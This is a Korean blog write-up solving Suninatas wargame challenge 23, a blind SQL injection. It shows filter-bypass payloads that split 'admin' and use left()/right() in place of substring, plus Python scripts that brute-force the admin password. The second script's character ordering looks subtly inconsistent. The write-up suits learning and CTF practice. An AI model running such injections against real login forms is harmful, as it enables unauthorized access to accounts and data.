HackChang

[Suninatas] 써니나타스 23번 문제 풀이 본문

W4RG4M3/W3B

[Suninatas] 써니나타스 23번 문제 풀이

HackChang 2020. 8. 6. 18:03

LEVEL23

이번 문제도 Blind SQL Injection 문제다.

저번문제와 비슷해보이지만, 필터링에 admin과 substring이 추가됐다.

admin을 필터하기 때문에

adm이라는 문자열과 in이라는 문자열을 합치면 필터를 우회할 수 있을 것이라고 생각했다.

바로 진행해보도록 하겠다.

id - adm'+'in'--

pw - 1234

이렇게 로그인이 잘 되는 것을 볼 수 있다.

이제 전에 했던 것처럼 pw의 길이를 구해보도록 하겠다.

 

id : adm'+'in'and len(pw) > 10 --

pw : 1234

이번 비밀번호의 길이는 10보다 크다.

 

id : id : adm'+'in'and len(pw) > 12 --

pw : 1234

 

10<len(pw)<=12

 

id : id : id : adm'+'in'and len(pw) = 12 --

pw : 1234

비밀번호의 길이가 12인 것을 알 수 있었다.

 

이제 substring을 막았으니 이를 대체할 키워드를 찾아야하는데

left, right가 떠올랐다.

left를 통해서 첫 글자를 알아보도록 하겠다.

 

id - adm'+'in'and left(pw,1)='V'--

pw - 1234
암호의 첫 번째 글자는 V인 것을 알 수 있었다.

 

 

id - adm'+'in' and left(pw, 1) = 'Va'--

pw - 1234

암호의 두번째 글자를 찾기위해 a부터 넣고 진행해보려 했지만,

False이 아닌 No Hack이 뜨는 것을 볼 수 있다.

sql의 길이에 대해도 필터가 되어있다고 생각했다.

 

id - 'or left(pw,1)='V' --

pw - 1234 이렇게 짧게 admin으로 로그인을 할 수 있다.

간단하게 파이썬 코드를 짜보도록 하겠다.

import requests

pw = 'V'
baseurl = "http://suninatas.com/challenge/web23/web23.asp"

# 첫번째 글자는 V인 것을 알고 있음. 마지막(12)번째 글자까지 진행
for i in range(2,13):
    # 아스키 모든 문자로 비교하기 위해서
    for j in range(33,128):
        url = baseurl+"?id='or+left(pw,{})='{}'--&pw=1234".format(i,pw+chr(j))
        cookies = {'ASPSESSIONIDAACDSAQA':'자신의 세션ID'}
        res = requests.get(url=url,cookies=cookies)
        
        # 결과가 True일 때
        if res.text.find("OK") != -1:
            pw += chr(j)
            print(str(i)+" : "+chr(j))
            break
print("password : "+pw);

하지만 이렇게 10글자밖에 나오지 않았다.

우리는 12글자를 구해야하는데 이것 또한 길이가 필터링에 걸린다..

남은 두글자는 right를 사용해서 풀어보도록 하겠다.

 

기존의 left소스를 조금만 수정하면된다.

 

import requests

pw = ''
baseurl = "http://suninatas.com/challenge/web23/web23.asp"

for i in range(1,13):
    # 아스키 모든 문자로 비교하기 위해서
    for j in range(33,128):
        url = baseurl+"?id='or+right(pw,{})='{}'--&pw=1".format(i,chr(j)+pw)
        cookies = {'ASPSESSIONIDAACDSAQA':'zi2nskugsk1ausj5impp400s'}
        res = requests.get(url=url,cookies=cookies)
 
        
        # 결과가 True일 때
        if res.text.find("OK") != -1:
            pw += chr(j)
            print(str(i)+" : "+chr(j))
            break
print("password : "+pw);

 

종합해서 보면

V3RYHARDSQLI 인 것을 알 수 있다.

인증이 안돼서 고민하다가 소문자로 입력을 해서 클리어를 했다.

 

Comments